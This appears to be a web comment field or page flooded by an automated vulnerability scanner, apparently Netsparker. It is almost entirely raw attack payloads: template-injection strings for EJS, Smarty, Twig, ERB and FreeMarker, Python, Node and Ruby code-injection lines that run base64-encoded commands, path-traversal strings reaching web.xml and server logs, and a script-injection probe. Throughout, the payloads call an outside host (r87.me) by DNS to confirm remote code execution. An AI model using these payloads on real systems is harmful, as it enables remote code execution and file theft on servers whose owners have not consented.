3

3

/node/6201/comment_node_msm_consortium_meeting

3

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgenQ5cDN5ZGMzYXlmcmJubGVnc3VucXh3Z2FzczZ0dHRqLXFxb3V4dmtxaS5yODcubWU=','base64').toString())

3

3

<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgenQ5cDN5ZGMzYWhtZDU5eWV2YWp6cHpkNWlnam1vbnV1ZjBkbmRmeHhjNC5yODcubWU=','base64').toString()) %>

/6201/comment_node_msm_consortium_meeting

<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgenQ5cDN5ZGMzYWdwbHBteGhneDYtd3R1amJoOWJzdmFyZjZoZmh4eWtlYS5yODcubWU=','base64').toString()) %>

3

3

3

{php}Smarty_Resource::parseResourceName(system("nslookup zt9p3ydc3ack2kqp74l51cl3nyhpqs-dyry6x_mv"."_0i.r87.me"),'b');{/php}

3

WEB-INF/web.xml

{php}Smarty_Resource::parseResourceName(system("nslookup zt9p3ydc3a2pzfwlkn4jcnea55xuwb1yp8gunpox"."9co.r87.me"),'b');{/php}

3

3

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup zt9p3ydc3attihwofyi08qkqcgp8uvnikg1-nqtq"~"y_e.r87.me")}}

/../../../../../../../../../../WEB-INF/web.xml

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup zt9p3ydc3ammmqrhlxa1phdf5pfi8xx8oyh6aoq4"~"qzm.r87.me")}}

3

3

3

<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgenQ5cDN5ZGMzYXNxcV9yYnN3dDlydWdxaGNpeGJ2dWRfYWdldnNjNXh4cS5yODcubWU=')})).to_s}" %>

/../../../../../../../../../../var/log/apache2/access.log

<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgenQ5cDN5ZGMzYXdobXJscGlyamF2N2t0ZmlvMm93YWY2eXg1ZGx2em9tdy5yODcubWU=')})).to_s}" %>

3

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgenQ5cDN5ZGMzYW55dm1ucm44aW1tZWF2Y2tib2dod3V5OXdiM3hjcWh3Zy5yODcubWU=|{base64,--decode})}") }

/../../../../../../../../../../etc/httpd/logs/access.log

'"--></style></scRipt><scRipt>netsparker(0x0915A4)</scRipt>

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup zt9p3ydc3a0qylbxst6krxkb8_bdtykwec1jve8l"+"8em.r87.me") }

3

3

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup zt9p3ydc3awb2r8hobkfc-i--dfvb_odl3emsbxv"+"oxm.r87.me") }

/../../../../../../../../../../var/log/nginx/access.log

require 'resolv';Resolv.getaddress ("zt9p3ydc3adawbwhnqgwigx886nzxtalrw5lbcbm".concat "4tc.r87.me")

3

require 'resolv';Resolv.getaddress ("zt9p3ydc3amul2kpjf7xhgtk0uvad6puezp2lvis".concat "rue.r87.me")

3

/../../../../../../../../../../opt/lampp/logs/access_log

__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgenQ5cDN5ZGMzYWNtc3Rub2RtY3pvMWhydGszZW9samx4bmJ3Y2VtdDdkOC5yODcubWU=')).read()

3

__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgenQ5cDN5ZGMzYWF5ZjVoZ3l4Y2drZGx1c3g4Z2lmMHhrYm83YW95aXB4NC5yODcubWU=')).read()

require('dns').lookup('zt9p3ydc3ag-eaxtzk4mqmtgbo2udmpg5iqvcysb'.concat('hw0.r87.me'),_=>_)

/../../../../../../../../../../var/log/lighttpd/access.log

3

require('dns').lookup('zt9p3ydc3amr6lbkevyp9n4pl3rirlh6eu6ethrv'.concat('ceq.r87.me'),_=>_)

3